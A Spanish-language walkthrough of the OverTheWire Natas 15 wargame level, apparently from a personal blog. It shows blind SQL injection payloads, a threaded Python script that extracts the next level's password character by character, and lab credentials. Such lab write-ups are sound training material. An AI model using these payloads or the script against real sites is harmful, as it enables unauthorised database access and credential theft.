OverTheWire - Natas 14 -> 15 (sin navegador)
November 2022
Información
Las contraseñas cambian cada cierto tiempo, existe la posibilidad de que esta contraseña ya no sea válida
Username: natas15
Password: TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB
URL: http://natas15.natas.labs.overthewire.org
Solución
Abrimos Postman, pegamos la URL e ingresamos nuestras credenciales.
Vemos en la respuesta un formulario y un link que redirige al código fuente de la página.
Si vamos al link debemos hacer click en la pestaña Preview o no podremos visualizar correctamente el código.
Lo primero que notamos es una query SQL comentada indicandonos que existe una columna username
y password
. También notamos un SQLI en la formación de una query, esta query es vulnerable porque no tiene ningún tipo de filtro y nosotros podemos ingresar lo que queramos.
Más abajo también vemos que si agregamos el parámetro debug
a la petición el servidor nos responderá con la query que hemos formado, esto nos ayudará con nuestra inyección.
Volvemos a la página principal y vamos a la pestaña Params para agregar rellenar los campos debug
y username
.
Al recibir la respuesta vamos a la pestaña Pretty.
Vemos cómo se forma la query que se ejecuta en el servidor y además vemos que el usuario 123 no existe.
Intentamos con distintos nombres de usuario hasta que encontremos uno válido.
La página nos indica que el usuario natas16 existe.
Como vimos al inicio del reto en la base de datos existen 2 columnas: username y password. Pero como el formulario no nos deja ingresar una contraseña debemos aprovechar la inyección SQLI para adivinar la contraseña.
natas16" AND password LIKE "a%" -- -
Como no tenemos otra forma de conocer la contraseña haremos uso del mensaje This user exists y This user doesn’t exists, cuando el caracter ingresado sea correcto la página nos mostrará This user exists. Pero hay un problema, LIKE
no es case sensitive, esto nos traerá problemas porque las contraseñas de natas contienen mayúsculas y minúsculas, si queremos hacer una comparación case sensitive debemos usar LIKE BINARY
. Quiero decir que si la contraseña tiene un caracter B
y nosotros usamos LIKE "b*"
la página nos dira que es correcto aunque no sea verdad.
natas16" AND password LIKE BINARY "a%" -- -
Podemos ir caracter por caracter probando pero esto no es nada eficiente.
Lo ideal es crear un script en tu lenguaje favorito, yo programé uno en python3 que usa threads para hacer la enumeración muchísimo más rápido.
import urllib.request
import threading
def main():
# Credentials
url = "http://natas15.natas.labs.overthewire.org"
username = "natas15"
natas15_pwd = "TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB"
characters = "abcdefghijklmnopqrstuvwxyz"
characters += "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
characters += "1234567890"
bandit16_pwd = []
threads = []
def test_password(character, password):
# Authentication
password_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm()
password_mgr.add_password(None, url, username, natas15_pwd)
handler = urllib.request.HTTPBasicAuthHandler(password_mgr)
opener = urllib.request.build_opener(handler)
opener.open(url)
urllib.request.install_opener(opener)
# SQL Injection
payload = f'natas16" AND password LIKE BINARY "{password + character}%"-- -'
data = {"username": payload}
data = urllib.parse.urlencode(data).encode()
req = urllib.request.Request(url, data=data)
resp = urllib.request.urlopen(req)
if b"This user exists" in resp.read():
bandit16_pwd.append(character)
for _ in range(32):
password = "".join(bandit16_pwd)
print(password)
# For every character it creates a thread that make a request to the webpage
for character in characters:
t = threading.Thread(target=test_password, args=(character, password))
threads.append(t)
for x in threads:
x.start()
for x in threads:
x.join()
threads = []
bandit16_pwd = "".join(bandit16_pwd)
print(bandit16_pwd)
if __name__ == "__main__":
main()
Contraseña
TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V